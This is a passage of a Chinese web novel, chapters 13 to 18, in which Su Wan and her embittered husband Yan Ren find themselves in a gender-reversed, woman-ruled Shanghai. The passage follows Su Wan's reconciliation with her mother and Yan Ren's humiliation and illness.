她想起无数个夜晚,身体一次次蜷缩,她无数次地怀疑自己哪里做得还不够好。
宴刃一步步踩着她的真心,在她交出财产后,换来的却是他的嘲讽。
男人世界的规则像铁钳般攥住她的肩膀,要将她的一切从血肉里生生拔出。
苏婉很疼,可被规驯过的她痛到最后也不过是想,凭什么她们遭受这一切?
"原来如此。"苏婉喉头发紧,"哪有凭什么?不过是想要的人拥有了,所以必须有人痛苦,规则的暴力,在意识深处就开始了。"
她所受到的教化,从出生时就注定了。
苏婉看着宴刃,她从他的表现知道,她与他都是拥有两套记忆的人。
"宴刃,你现在能够感受到之前的世界对女人有多残忍呢?"
"你!"
在他恨急的眼神中,苏婉意识到宴刃那些愤怒的背后藏着深深的恐惧。
是的,他能意识到,他曾以为自己能掌控一切,却在面对自己时暴露无助。
他以前做不到完美,所以打压她,一开始就不给苏婉希望,只要不断让她无助,她自然就不会提出要求。
以前的自己真可怜啊。
苏婉曾为别人做过很多的事情,她离家时留下母亲的金簪,留下弟弟的布料。甚至或许这些家人未必领情,又或许只是她自己是为了证明自己的存在,证明没有亏欠过任何人才那样做。
但是她不后悔,所以此刻,她对于宴刃的怜悯也是如此。
他真的很可怜,他在她死后所作出的那些慌乱的举动,是因为他突然明白,从那天起自己再也不会出现在他生活里了。
这不是遗憾,而是习惯被撕裂的痛楚,宴刃早已习惯了自己在他身边的温度,哪怕那温度是冷的。
但当自己再度回到他的身边时,她居然成了强者,他成了弱者?
13. 第十三章 苏婉12
当成为利益受损者以后,到底谁能有海一样宽广的胸怀可以容纳敌人,冰释前嫌?
没有那样的人,不过都是为了利益在伪装的野心家。
只有拥有足够多利益,姿态才能放得低,才能压制住所有狂傲展翅的本能。
宴刃恨透了这样的处境,但可悲的是,在此时此刻这种被压制的情况下,在那些陌生的失权记忆的洗脑下,他居然会对苏婉动心。
这个虚伪的女人,满嘴谎话,她拿到了所有的好处,在他最狼狈的时候站在他的面前!
哪怕没有语言,只是出现,静静地站在那里,不靠近不改变,在他眼中居然已经是一种温柔。
宴刃死死攥着拳头,指甲掐进掌心的肉里,仿佛这样就能把心里这点见不得人的念头掐灭。
他痛恨这样的记忆,这样的情感,他努力高昂着头,作出坦荡姿态,他不是弱者!
苏婉哪怕什么也没有说,她安静的目光也像一面照妖镜,把他骨子里的那点龌龊照得清清楚楚。
宴刃那些强撑起来的风骨,还是没能展现多久,他冷下脸,扭头故意不看她。
"你还是那样,遇到不满的事情就摔碗砸盏,一赌气把谈好的生意搅黄,总是爱掀桌。"世界观的转变,导致苏婉这一次没有压抑自己说话的欲望。
"你身边所有人都知道你厌恶我,厌恶到连我的名字都不愿提,厌恶到听见我的脚步声就皱眉。"
苏婉欣然的心境消失,只余下疲惫。
她们之间有层薄薄的东西,像层窗户纸,又像是薄玉,那里面装着的只剩下两看相厌。
"我以前一直很疑惑,你为什么总是那么随意地对待我。"
苏婉垂下眼眸,睫毛轻颤。
她在回忆宴刃对自己略微带着的善意,又或者是没有特意伤害的时候?
宴刃丢给她的一盒糕点,是他去老铺买的荷叶鸡;递过来的物品,物品上沾着他指腹残留的温度;是那些一个又一个,她以为记不得的场景,也是她抬头仰望他的角度。
她有无数次都想过拒绝,可都鬼使神差地接了过来。
是那些东西的香味太诱人,每一次,她都会低头咬一口。
甜,甜得发苦,苏婉总是后悔。
她叹气。
宴刃眼底猩红,像条被逼到绝路的野狗,"苏婉,别以为你这些妖魔邪道能撑多久,我不信!"
苏婉想,他好信誓旦旦,可她根本不是主导者。
让苏婉觉得可耻的快乐的是,她此时此刻真的很爽快,真的超畅快。
这是她第一次站在宴刃的高位,不止是心理上的高度,甚至是生理上的高度,她现在身高也比宴刃要高了。
此时此刻,苏婉低头就能看到宴刃的发漩。
于是很奇怪的,在这种严肃到甚至有些悲凉的场合里,她突然噗嗤一笑道,"好,我等着。"
宴刃被气得咳嗽,头晕得反呕,他撑住墙壁的姿态很狼狈,声音大得突兀。
"咳嗽声确实有些吵,你为什么不用手帕捂着,现在你做这样的举动不失礼吗?"
明明他那么讨厌这种声音,为什么能忍受自己发出来呢?
啊,他有以前的记忆,所以有恃无恐。
看,连他自己也知道痛苦没有必要忍耐。
真好,这样的世界属于她了,那么那么的自在。
她一直是咬牙活在之前的世道里的,如果她不咬牙活,那么早被淹没在病痛中,烂成泥了。
苏婉曾在村子里面,看过太多活得奄奄一息的姨姨们,她害怕,恐惧,以至于刻板的体面。
"咳...咳咳......"宴刃的咳嗽声渐渐弱下去,他对于自己的处境感到彷徨,他为什么那么弱?
苏婉了解,病痛会让人无力,那些还能发出哀鸣的,都还有力气去争夺生存以外的权利,但更多是无声的承受。
她扭头看向窗外,轻声道,"宴刃,你看,这场雪停了。"
她想,好奇怪,她明明有长达十九年的咳疾,但是此时此
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刻对于承接了她病痛的宴刃,她居然没有丝毫的愧疚,也没有任何的共情。
是得利益者通病吗?
还是说,她心狠呢?
不,或许是因为她很想知道,宴刃曾经那么瞧不上她的平庸无能,换做是宴刃处在她的境地,他能做得比她更好吗?
"立春的时候就象征着冬天过去,春天到来,但在上海,真正要感受到温暖,要在惊蛰过后。"苏婉感叹,"而今天,正好是惊蛰呢。"
这个漫长又寒冷的冬天,终于要过去了,伏众地下越冬的蛰虫被春雷惊醒后出土活动,天气会逐渐转暖。
"我会适应这个全新的春天。"苏婉正视含泪咳嗽,手腕无力撑着墙壁的宴刃,温柔一笑,"希望你也能适应这个全新的春天。"
雪刚停,外头白茫茫一片。
苏婉回到楼下的主卧,里面果然已经全是她的东西,所有的痕迹都在表明她已经在这里生活了许多年。
屋中炉子填着上好的炭,屋内烤得暖洋洋的,炭火噼啪炸开几点火星,她正想翻开书桌上的书本,就听见院门被拍得咚咚响。
她下意识拢了拢袖口,正要去开门,就看见远处已经有佣人顶着冷风过去了。
啊,是啊,她已经不再是这个别苑的透明人,而是别苑的拥有者,她想要做的事情会有许多双眼睛盯着,会有许多手讨好着帮她做。
她又是噗嗤一声笑了出来,"男人的生活真的是震撼到我了。"
门外站着个挽圆髻的姑姑,呵出的白气冒着烟,她被接待进屋,明显有些局促,"老家主让我来问声好,说今日天气好......您回不回去吃顿饭?"
回家?去苏家吗?
苏婉被这个想法烫了一下,她想起上次见母亲时,母亲含泪握着她的手,将悄悄攒下的银钱塞到她手里,怕她在晏家过得难,有钱能买点路走。
母亲对她的好很少,因为她拥有的实在是太少了,能拿出来给她的,稀薄得可怜。
可这个世界不同。
14. 第十四章 苏婉13
她那些没有真实感的记忆中,如同木头般没有生命的母亲是威严的,是外放的。
自己也是外放的,她有着怒放的自由,她言语顶撞母亲,母亲怒目摔了手中青花茶盏,飞溅的瓷片在她手背上划了道口子。
"你要跟那个破落户的宴刃,就永远别进这个门。别认我这个母亲!"
她不肯,她说,不认就不认,我不靠你们!
苏婉鼻头发酸,眼前有瞬间的模糊,这陌生的怒气怎么能那么自由,鲜活得有人样。
真正的母亲是什么样的呢?苏婉认真回想。
印象中的母亲是沉默的,她永远脚不沾地地忙着手头的活计,灶台上的油渍还未擦净,衣襟上沾着剪开冬衣时抖落的旧棉灰尘,又匆匆赶往一处。
她很少与母亲说话,她们的距离很远,她太小,跟不上她忙碌的步伐。
她爱生病,这年头过了病气很可能人就没了,所以她总是独自一人坐着,后来就独自画着,她把所有的心思都放在画中。
她也在远远看,看沉默的母亲与年幼的弟弟絮叨,与下人交代琐事,唯独对她沉默。
她甚至一度以为母亲与女儿之间本就没有话题可聊,不然为何只对她如此?她难道不期待体温的拥抱吗?
只是偶尔,当她疲惫地睡下,会突然感觉有人在梦中用潮湿微凉的手掌蹭一下她的脸颊,那触感轻得不真实。
"大家主真的很想您,常常念叨姑娘呢。"苏姑姑还在紧张地自顾自说着,期盼着她的反应。
母亲在她的生命中沉默得太久了,那个家在她的生命当中也沉默,苏姑姑此时此刻在她的耳边说着各种念叨的话,记忆中小厨房里为自己熬草药的味道又一次添上色彩,又渐渐暗淡,那些痛苦变得遥远了。
由母亲主导的家吗?
苏婉觉得恍惚,如今当家作主的早已是母亲,而非父亲。
母亲啊……在平素闲聊时都会被遗忘的称呼。
哪怕在平日里也不会想起,就像不会想起檐下那盏从不熄灭的旧灯笼,一直在发光,却不被珍爱,是一件被买断封存的家具。
"姑娘,就跟我回去吧,雪已经停了,路也好走呢。"
苏婉无法从那些模糊的记忆中看透那位威严的母亲,她了解的母亲,是低头时后颈露出的那截晒伤的皮肤,或是她站在父亲身旁,沉默如蜡的身影。
也许,还有一声声模糊的囡囡。
一种细小的欢喜悄然浮现,多好呀,那位承担太多的母亲不再像一块沉默的石头。
苏姑姑见她没有不耐烦,话更多了,说着老宅这两年发生的事。
其实情况没有改变太多,只是这一次父母之间的联姻,是父亲嫁到苏家。
母亲比父亲年长两岁,他是她的表弟,两人关系一直不算好,没有聊得来的话题。
年少时,母亲的心思没放在家业上,反倒喜欢逞凶,直到她出生以后,母亲才真正接手家中事业。
母亲是个不懂男儿心的人,父亲则沉默地打理着母亲的后院,让她能够肆意闯荡。
这或许就是"先成家后立业"的体现,有人替母亲稳住了后方,她才能全力向上攀爬,最终攒下偌大家业。
母亲对父亲缺乏爱意,却也算信赖他,所以这些年偶尔去逛一逛戏院之外,也没给家里添上一位小倌。
"好,回去吧。"苏婉点头,这几年下来第一次松口。
苏姑姑喜出望外,被带上了汽车,发动机启动,发出轰鸣声,撕破雪的安静。
车轱辘往前,苏婉继续思索现在母亲和父亲的关系。
外人看来,她们走在一起的模样,恰好符合世俗对"夫妻恩爱"的想象,父亲总用行动表达着隐秘的爱意,比如深夜为伏案工作的母亲披衣,或默默记下她随口提过的药材,熬成汤药治她的头痛。
她们的婚姻就像一壶温吞的老酒,从十几岁相伴到如今四十多岁,日子过得顺顺当当,没起过什么波澜。
若真要说有什么不如意,大概就是生了苏婉这么个离经叛道的女儿。
苏婉低头看着自己骨节分明的手掌,忽然笑出了声。
这双手能轻松掰
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开最硬的核桃,能在跑场上把男生甩出老远。
从小到大,她都是孩子堆里的孩子王,读书时奖状奖杯塞满了整整一个樟木箱,现在上海滩谁不知道苏家那个能文能武的大小姐?
她再也不是记忆中那个,会被皱眉看着,用言语指责说不够文静的病秧子了。
她也再不用心心念念自己苦苦攒下来的两千多,她现在理所当然的拥有两个家庭的财产,父母的,她的,都拥有所有权,钱多得花不完,长辈还担心她不继承家产。
苏婉坐在车上,轻轻哈了一口气。
升腾的白雾帮她掩盖住起了波澜的眼眸。
轿车晃晃荡荡,开向家的方向。
母亲是真的想她吗?又或者只是……
她从未有过被偏爱的记忆,以至于踌躇。
到了苏家老宅,苏姑姑下车,冷得直搓手。
"姑娘现在是越发的好了,你呀,当年被裹在襁褓里,是个白生生的小婴儿呢,如今长成这样也没以前影子,俏丽得姑姑都险些不敢认,老家主一定很惊喜,她可想姑娘了。"
苏婉沉默地看着苏家的大门,这里还是和从前一样,但这里以前并不想她。
门嘎吱着在她的视线下打开,努力威严着脸蛋的母亲正站门口。
苏婉在门板的中缝稍开时就看到了她的衣裳,红的,蓝的,紧密的针脚将这些鲜艳凑成的端庄的花,穿戴在她的身上。
记忆中的母亲,什么时候这样鲜亮过?
苏婉只感觉自己的嗓子眼都在发紧。
母亲盯着她看了好一会儿,突然眼眶就红了,声音也直发颤,"我们的小祖宗这是...终于愿意回家了,你父亲可想你想得紧呐!"
苏婉鼻子一酸。
是谁想她呀?哪是什么父亲,分明是她。
她看得见,母亲那鞋面都湿了,也不知道她等了多久。
那些模糊的记忆被拉了出来,她当时头也不回地走出苏家大门,身后是母亲的哭骂声,而后苏姑姑给她送来的行李,眼神责备又无奈,她们拿她没办法。
15. 第十五章 苏婉14
冰凉的泪珠滚过她的下睫毛,凉丝丝的,喉咙却那么热,有什么东西迫不及待地要冲出来。
母亲也哭。
她们似乎都在等这一天,可这一天实在是等得有点久了。
母亲在影壁前来回踱步,鞋底把雪都踏平了,耳边下人们七嘴八舌的议论像嗡嗡的苍蝇,吵得她太阳穴直跳。
"该不会不回来了吧?"
"这都什么时辰了..."
母亲像被人当头泼了盆冰水,从头顶凉到脚底。这些年等过太多次,可直到院门"吱呀"一声响,眼前有人影,母亲僵在原地,看见苏婉提着裙摆踏进门槛。
所有的声音都远去了。
母亲踉跄着冲过去,一把将苏婉搂进怀里。
苏婉贴着她的胸膛暖烘烘的,她闻到了她熏衣服的沉香,那味道直往鼻子里钻。
"我的囡囡啊,你都成家了,又不肯归家,你好狠的心!"
"是啊,才一眨眼。"苏婉轻轻呢喃,脸颊靠在她的肩头。
原来人的怀抱可以这么烫,烫得她眼泪直掉。
"你怎么没有把宴刃带回来住?"母亲别过视线,她给自己开脱道,"我老了,管不了你们年轻人的事情了。"
苏婉扶着她手臂,两人的鞋底碾过雪。宴刃?
宴刃要是知道自己回苏家,那男人会怎么想?
她能想象宴刃阴着脸的样子说她,"你那一家有谁欢迎你?巴不得你少吃一口饭,过了一身病气。"
可现在不同了,她有一个热切的怀抱了。
苏婉叹息,环视四周,热意顺着指尖往心里钻。
她还没想清借口,便稀里糊涂栽进母亲家常絮语里。
哦,母亲也不喜欢宴刃,她根本不用找借口,只是顺着她的话头便行。
原来忽视不受重视的人那么轻松,没有人真的想提起他。
冬日的冷雪还没有彻底离开,母亲指尖落在她的手腕上,抱怨她没把自己照顾好,埋怨弟弟整日就只爱往书里钻,没有男儿家的模样,说他又闹得家里鸡犬不宁,末了忧心忡忡地念叨,"囡囡,你说这孩子往后该寻个怎样的人家?"
母亲是那么迫不及待想要把自己的生活分享给她,两人步入二进院,厅堂里面早已经被炭火前烘热,座椅上都铺着厚厚的垫子。
这里温馨又暖和,再也不是记忆里面冷硬的样子,那时候父亲常常蜷在躺椅上抽旱烟,嗜酒如命,灯火倒映在他浑浊的瞳孔里,看得她害怕。
如今记忆中的身影被一点点剪碎,凝成母亲此刻热情关怀的模样。
耳畔传来了脚步声,父亲走过来,他花白的鬓角与长发柔顺地垂下,身上系着灰蓝围裙,此刻听见声响慌张赶过来,苏婉定睛看去,只见那手上还带着染水的湿润。
明明是一样的脸,可却陌生得让她只能在零碎的地方才能认出来父亲原本的模样。
"你在想什么?"母亲顺着苏婉的视线看去,见到了灰扑扑的父亲,叹息道,"她们男人是那样的,也不是没有给她们好东西,偏偏要把自己弄成个黄脸公的模样。"
苏婉笑了笑没有说话。
"你别光顾着笑,你弟弟入赘的事情我就不烦你了,你自己的事情有没有好好想过?"
"什么事情?"苏婉回想刚才的话题,实在是太多,也不知道母亲说的是哪一个?
母亲叹气,"还能是什么,还不是你结婚这档子事?一开始我反对你和宴刃在一起是因为他的背景底子不行,破落户的孩子怎么配得上你,你看看,三年过去了肚子一点反应都没有,肯定是家教不行。"
她拉着苏婉的手,亲昵地拍着,"要我说呀,你们早就该和离,那宴刃长得好看也不愁下家,多给他点补偿,我可实在是想要一个嫡长女孙。"
和离?
苏婉是一直想要离婚的,但是此时此刻她若是与他离婚,他能活下去吗?
她虽然对于与宴刃之间的相处疲惫,两人相处也有间隙,但是还没有恨到想让他死的程度。之前自己的
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死亡,他也是有想用自己的方式护住她的,这份恩情她不接受,但是也算承恩。
在这个时代,就算给他很多钱,一个男子有可能被拐子掳走卖进暗巷,随便配给某个陌生女人。
又或者运气好些,他这样的身世,更可能嫁给家暴成性的女子,在潮湿的霉味角落里会传来拳脚相加的闷响。
钱对于男子的作用更像是小儿抱金,变成人人都想咬一口的肥羊。
被添加记忆中的那些被家暴的男子,揪心浑身旧伤,他们说裂过的骨头在阴雨天缝里渗着酸疼,像浸了冰水的锈铁丝往骨髓里钻。
想到这些,苏婉攥着药罐的手指泛起青白,她没办法眼睁睁看着宴刃这样死。
至少……不能死在她眼前。
眼见着苏婉犹豫,母亲重重叹了一口气,舒了下胸口,"算了算了,我也不与你在这个事情上较真了。"
苏婉也不舍母亲难过,娇嗔道,"如果宴刃主动提出要离婚,那我一定会离的。"
母亲含笑不语,觉得自家姑娘还是太心慈,她活了那么多年,哪能不知道宴刃那孩子有个做银行长的父亲,若真离了婚,他那没了倚仗的孤男在这世道根本活不下去?
她知道呀,但是她不在乎,那又不是她家能传宗接代的姑娘,不过是个别人家男儿罢了。
母亲低头,掩盖过眼底的锋芒。
她是真的想让她们分开,于是一话落下,又生一话。
"囡囡,要不在外头养个人?"母亲茶盏往桌上一磕,继续道,"你恋旧,可那宴刃跟了你三年,不讨喜不说,最重要的是肚里没动静啊!你想留着他那就留着,只是你那院里添个人让他管?"
母亲觉得延续家族血脉才是重点,要不是明面上不让弄个姨夫什么的,她非得给囡囡送两个男儿伺候。
也不知道那宴刃到底是哪里来的狐狸精,迷得她的囡囡老母亲都不要了。
母亲酸溜溜道,"你要是怕宴刃伤心,所以咱们瞒着,就悄悄养个外室。"
16. 第十六章 苏婉15
母亲瞧着她的脸色,满是贴心道:"你就是脾气太好,宴刃三年了还和你犟脾气呢,这回我找个温顺贴心的,保证伺候得你舒舒服服,舍不得那热被窝。"
不等苏婉开口,母亲早备好台阶:"我呀,亲自挑几个,这就给你过过眼。"
话音未落,她转身翻开檀木匣,掏出一叠黑白相片,照片中穿精致旗袍的男子眉眼温顺,腕间翡翠镯水头极好,生生衬出几分贵色。
父亲在一旁低眉顺眼,似乎觉得家中一个夫郎,外面再养两个男儿是极其正常的事情,甚至还凑热闹一般伸头过来看照片。
母亲推开他,直摆手:"你可不准看,里面好多都还没有出阁呢,可不能让你推荐给你的好兄弟,抢了我们囡囡的结缘人。"
她点了点父亲,打趣中藏了几分真心不喜:"你这个胳膊往外拐的。"
父亲脸红,秀弱嘟囔道:"我怎么会不心疼我女儿......"
话音未落,母亲啪地一声甩开他的手:"你倒是说说,这两年囡囡没有回家,你给你父家那边送过多少东西?那些侄女一年三次来家里打秋风,没有你的示意她们敢来?"
苏婉望着雕花木窗漏进来的斜阳,光斑落在父亲银白的鬓角。
原来,女性是继承人之后,他也肯正眼瞧女人了。
母亲也只是借由她的话语做个筏子,没有继续纠缠的意思。
苏婉觉得胸口发闷,像是被人塞了团浸透水的棉花,记忆中的苦涩,一瞬间远比药还苦。
她坐在这,手指交叠无意识地想要保护自己——她似乎看到了年幼的自己,一次次靠近,一次次被呵斥。
当下这光景荒唐得像场大雨,把前尘往事都冲得七零八落。
她又一瞬间恍惚,两段相反的记忆在脑海中打架,她是不是被谁偷走了人生,又或者她偷了谁的人生?
她想着想着又想到了柳依依,她要是在,那丫头准会拧着眉毛骂她:"苏大小姐又钻牛角尖!"
又想到了宴刃皱着的眉头,他望过来带着凉意的瞳孔。
苏婉想,似乎不能离婚的理由又多了一个,若是离婚了,她之前那个世界的记忆,她说出口的就会变成疯话的东西,只能讲给宴刃听。
随着天气转凉,窗外檐角冰棱啪嗒掉在地上,碎成亮晶晶的渣。
今年的雪下得厚,春天来得好晚。
苏婉突然很想笑,这算什么?黄泉路上打了个盹,神明将她送了回来?
她终究是幸运的,她看着母亲舒展的笑脸,释然了。
她在来之前与宴刃的对峙没有斗气的成分是不可能的,她那么着急地冲到了宴刃的面前,迫不及待告诉他,没有想到吧,现在的这个世界上由女人掌控的了。
但是对内,对自己,她依旧有着说不出的迷蒙,她得到了一份了不得的礼物,她真的可以拥有这些吗?
她甚至在惶恐,自己拥有的东西足够换来这份独特吗?
可是呀,现在的母亲是在真心实意地盼着她好。
这种好她想要,真的很想要。
不劳而获是羞耻的吗?
没有原由的馈赠可怕吗?
悬浮在天上,不知道哪一天会掉下去可怕吗?
每一分每一秒,苏婉觉得自己在凝视深渊,但是,但是!
她想要,真的非常非常非常的想要,所以她决定要这些东西。
虽然不知道为什么发生,但是她在此时此刻决定斗争,以一种极其陌生态度与手感,她要制造自己的武器,选择与未知战斗。
母亲絮絮叨叨说了许久,最后拉着她的手说要她搬回来住时,苏婉轻轻摇了摇头。
她对上母亲失望的眼神,温柔却坚定地笑了:"母亲,我还有事情要做。"
等到不那么彷徨的一天,等到了觉得事情稳定的那一天,我们会待在一起的。
可理想中第一天就遭到了滑铁卢,苏婉回到家时,别苑像遭了劫!
别苑里面热热闹闹,男子的讨伐声一片升一片落。
宴刃衣衫不整地坐在一片狼藉中,身上精致的
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蕾丝衬衣被他扯得七零八落,马甲扣子也崩飞了好几颗,脸上还蹭着胭脂,活像个被糟蹋了的戏子。
此刻听见声响,宴刃猛地抬头:"苏婉!"
他通红的眼睛里迸出光亮,又很快暗下去。
他扯着撕裂的衣领,声音哑得不成样子:"是你吩咐他们这么做的?"
"你这副狼狈模样,是被他们强按着打扮的?"苏婉看着地上的衣物,蕾丝,杭绣,锦缎,都是些精致昂贵的东西,也确实花里胡哨,更具有观赏性,与以往宴刃简单利落的功能性穿搭不同。
她走上前,更仔细端详他此刻的模样,他现在在蕾丝与精致首饰打扮下,多像是一份漂亮的,等待拆开的礼物。
"你脖子上这个是什么?"
苏婉疑惑抬手他的下巴,让自己看得更仔细些,那秀美的脖子上是块宽宽的布条,上有着繁复发苏绣,更点缀着珍珠宝石,实在是华丽。
如果没记错的话,这种东西好像是......宴刃怎么会心甘情愿地戴上去?
"喉......喉结带。"宴刃强忍着羞耻道,被气得闷声咳嗽,"我有什么办法,这些人说男子不带喉结带就如同女人不穿小衣,一举一动都是在勾引女人。"
他愤怒到几乎咆哮,"谁会勾引一个女人?!"
对于苏婉来说,这个事情实在是滑稽,所以她忍不住噗嗤笑了出来,在宴刃要杀人的目光中摆手:"我很抱歉,但是这个事情确实不是我安排。"
"滚开!"宴刃暴起,一脚踹翻了旁边的妆奁,胭脂水粉撒了一地,"你们女人...都他妈是一路货色!"
周围男人缩着脖子,惊恐看他浑身炸毛,像头疯兽。
苏婉忽然开口:"但是宴刃,你现在的情况被称为第二性也好,成为附庸者也好,我想说的是,不是主体,当客体的生活就是那么糟糕。"
她扫了眼周围,叹息道:"其实这也不是很严重的事情对吗?不过让你换了件不爱的衣裳,穿了显身段的裤子,戴了华贵却硌人的首饰。"
17. 第十七章 苏婉16
苏婉盯着他喷火的眼睛,轻声道:"是让你难受,可也…真让你更美了。"
她蹲下身,捏住他哆嗦的指尖,"你这会儿的脆弱,美得让人骨头缝都发酥。"
明明她此刻是低位,却叫人莫名心头发毛。
宴刃咳得唇色死白:"是吗?"
"是啊。"她坦诚地说出自己的欲望,"我一直觉得你漂亮极了,无论什么时候都很难把自己的视线从你身上挪开。"
哪怕是以往被伤害的情况也是如此。
那感觉是爱,是喜欢吗?
苏婉也不清楚,但肯定有见色起意的成分。
客观来讲,她此时此刻的行径是恶劣的,可是那又如何呢?
她们两个人,是在这个世界中对彼此最知根知底的人了,她并不想……不,不是的,是她不必在他跟前装。
在宴刃的面前,她想要展现自己所有的恶劣,就像从前他吃定她离不开时,对她做尽坏事那样。
"好,叫她们滚!"宴刃嘶声说,猛地扯下颈间装饰带砸向她!
带子没解开,硬生生勒出一道红痕,如雪地里的玫瑰,美得刺目。
他指节攥得死白,没察觉她贪婪露骨的凝视,"她们不听我的!这种人,别苑不留!"
"好。"苏婉点头。
陈见扑通跪地:"家主,这别苑上下都是家主用了几年的,怎么能因为夫郎的一句话就赶走我们!"
话音未落,宴刃抄起花瓶砸过去,"滚!"
丝毫不见以前他们两个共事时候的默契。
是啊,以前你怎么对我的?
苏婉看着陈见在自己面前跪下,看着他望过来询问的目光,只觉手握权利的感觉让人着迷。
"你们,"她迎着两人视线,声音淬冰,"不是我的人。"
没错,这些人都是宴刃的人。
所以他遭遇的事情,也是他以前造的孽,这里的所有人,都没有学会过怎么尊重另一个人。
只是因为性别就没有身为人的权利吗?
那样信仰的人,也会被信仰所累,信那套的人,最后被那套勒死。
宴刃心中的一口气得以抒发,眼前发黑身子晃,苏婉抢上一步箍住他腰,指尖陷进细软腰肉里,好细呀,一只手就能掐断似的。
"你脸色白得像纸,最近没有喝药?"苏婉反手攥住他冰凉的手,指腹下他凸起的青筋微微颤抖。
久病熬成医,她一看就懂了。
宴刃踉跄着退开半步,瞳孔收缩如受惊的鹿:"你...你怎么知道?"
苏婉等他站稳了抽手离开:"你得到的,原是我的病,不喝药是真的会死。"
宴刃突然抓住她的手腕,指甲抠进肉里:"你早就知道了?为什么不说?"
"我说了又能怎样?你没亲身体会,肯信我?"苏婉任由他摇晃,窗外惊雷劈开夜幕,推搡间撞歪茶几,哗啦一声茶杯摔得粉碎!
宴刃喉头铁锈味翻涌:"疯透了…"
他听见自己干涩的声音,记忆里苏婉总用帕子掩着面,哪知道她对视的目光可以那么锐利。
"你好好习惯吧。"苏婉丢下话,没再看他,回屋休息。
还没想好话,他自己倒先嗤笑出来,指甲狠掐进掌心,血珠直冒。
他浑浑噩噩地去了地窖藏酒室,那有满满的几架子的收藏酒。
他厌恶这个身体,肆无忌惮地抽出有着金色酒液的威士忌,一口闷灌半瓶,喉间灼烧感混着铁锈味呛入鼻腔。
他蜷在酒架下,布料堆积压出深痕,他想过往地每一场沙龙,那时候霓虹在玻璃上流转,所有的烦恼都会在色彩轰鸣中削弱。
他久违的想起来那个带着青梅香的姑娘。
似乎在醉意中,她带给他的美好感受要更深。
"小柳..."他摩挲着酒瓶,玻璃凉意渗进掌心。
那年他看着瘦小的姑娘躲进学校的槐树林,他低头。
是做助人者还是施暴者?
他犹豫了片刻,出了手,将她穷追不舍的家人隔绝在外。
他的目光落在酒瓶上,仿佛只要目不转睛,就能穿透酒瓶看见他想看见的事物。
这里,已经在令他感到害怕了。
他厌恶每一次佣人端着药碗推门时,青瓷碗
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磕在桌面发出的响声。
他厌恶身体扛不住寒冷,发出的每一个颤抖。
他厌恶这薄弱的精力,止不住的咳嗽,像身体中迎来了一场永不停歇的暴雨,冰凉的雨水将他整个人淋湿淋透。
他的生命,在这样的摧残下似乎要消失了,他恐惧这样,他迫切的需要一些别的东西来唤醒他那些骄傲的自信。
宴刃攥死酒瓶,玻璃冰得手心发木,寒气直往心口钻。
"柳依依…还记得从前吗?"他疲惫地闭上眼,昏昏沉沉地醉晕过去,眼角洇着水光。
木门轴转动的吱呀声响起,来时路上尽头飘来玉兰花香。他在睡梦中咳嗽,后颈突突跳动。
他梦见那年初见苏婉,小姑娘咳得嘴唇发紫,小兽似的蜷着。他想,这姑娘熬不过冬天了。
她看起来,太孤单了。
可她竟挣命活下来了,最终挣扎着活到了现在。
玉兰花香再一次落在沉睡的宴刃面前,苏婉弯腰将宴刃拦腰抱起来,稳健的步伐踏上楼梯,将人稳稳地送到了阁楼,看着他在睡梦中依旧皱着的眉头,她弯腰想要抚平他的眉头,就听见他喊出来自己的名字。
苏婉顿了顿,毫不停留往自己房间走,她打了个寒颤一夜无梦。
清晨,窗外传来了鸟雀的叽叽喳喳声,就连空气都带着清爽的味道。
苏婉隔着窗看到有什么黑色的鸟雀,小小的啄衔着枝桠,试探着在别苑筑巢。
她起身换衣,抚平西装袖口的褶皱,铜纽扣硌着手心泛起微疼。
她对着穿衣镜练习微笑,平息自己的紧张,镜中人领口的玉兰花胸针随着动作轻颤。
不多时,汽车引擎低吼,将沉梦中的宴刃惊醒。
谁开走了他的车?
而后才患得患失地闭上了眼,哦,那已经不是他的车了。
宴刃浑身瘫软,轻咳着把脸埋进荞麦枕头里,窗外的声音像大声的嘲讽,灌入他的耳膜,他睁眼盯着枕头上的纹路,突然不知道他今天要怎么过。
他可没有苏婉那么多的兴趣爱好…
眼眸又轻眯,或许…他的确应该去找柳依依了。
18. 第十八章 苏婉17
他那时候决定做一个拯救者,问她:"你成绩这么好,怎么突然要退学?"
柳依依抓起书包,说:"我父母正在外面要抓我回去,我继续呆在这里,所有人都别想上课了。"
她冲出教室,飘起的头发蹭过黑板槽边缘,粉笔灰簌簌落在她蓝色校服上。
宴刃的太阳穴突突直跳,喉头发紧像被丝线勒住,他冲上去拉住柳依依:"我可以帮你?"
他带着她去了校长办公室,又去了派出所,让柳依依眼睁睁地看着自己越不过的天是怎么一步步退败的。
他对她说有恩的,不是吗?
那些事情,苏婉记得,柳依依凭什么不记得?
宴刃起身,在不熟悉的衣柜里挑拣半天,拎出件简素衬衫长裤。虽是休闲款,利落的剪裁仍绷出他细韧的腰身,凸出他整体线条挺拔性感。
别苑里面的佣人全被辞退,刚招进来的管家还在磕绊上手,少了人盯着,倒是这两日难得的自在。
宴刃犹豫一会,拧着眉,嫌恶地从檀木妆架上扯下一条喉结带,指尖翻飞系上颈间。
管家恰好进来给花草浇水,诧异道:"夫郎这时辰出门…家主晓得么?"
宴刃眼风刮过她堆着笑的脸,肩膀一顶撞开她,闷头走了。
他宴刃去哪儿,还要报备给苏婉不成?
什么夫郎,听着就让他厌恶。
可人世间再闹腾,树啊,花啊,砖瓦房子,依旧保持着沉默,横竖是伺候人的玩意,是从属物品。
若是抬头远望,那修建好不久的圆柱体便出现在视野,正轰隆隆冒着黑烟,附近的矮房子工厂里面传来女人们粗鲁的哄笑,他哪怕是远远瞟过一眼,也觉得棉纺厂飘出来的絮尘往鼻子里钻。
宴刃嫌恶地拍打身上的衬衫,生怕弄上丁点脏污,没有车就是不方便,不应该想这图个清静,散散心就不开车的。
灰尘太多了,他咳得肩胛发抖,裹紧羊绒大衣,手指死死攥住了喉间的带子,想藏起那圈华丽烙印,虽然知道这个东西就算是被人瞧见也无妨,带子本身也很精美,但是那种莫名的羞耻感,像冷蛇死死缠绕住他的脖颈。
生理的,心理的,他都没有办法坦然地露着这玩意。
他出门得早,天刚蒙蒙亮,露珠都还挂在草叶上没有掉落,他口中呼出的热气变成白雾,模糊了他的面容,可他的身段是那么漂亮,早惹得远处的几个女人对他指指点点,嬉笑推搡,互相打趣。
柳依依正蹲在石阶处洗衣服,隔壁娘子家夫郎笑着劝:"早点娶个夫郎为了管家多好,你瞧瞧自己一个人在外还得自己做这些粗活,大姑娘家就应该多赚钱,哪能围着家里打转。"
见柳依依笑着不开口,他继续道:"你身边没有合适的人,我可以给你相看相看。"
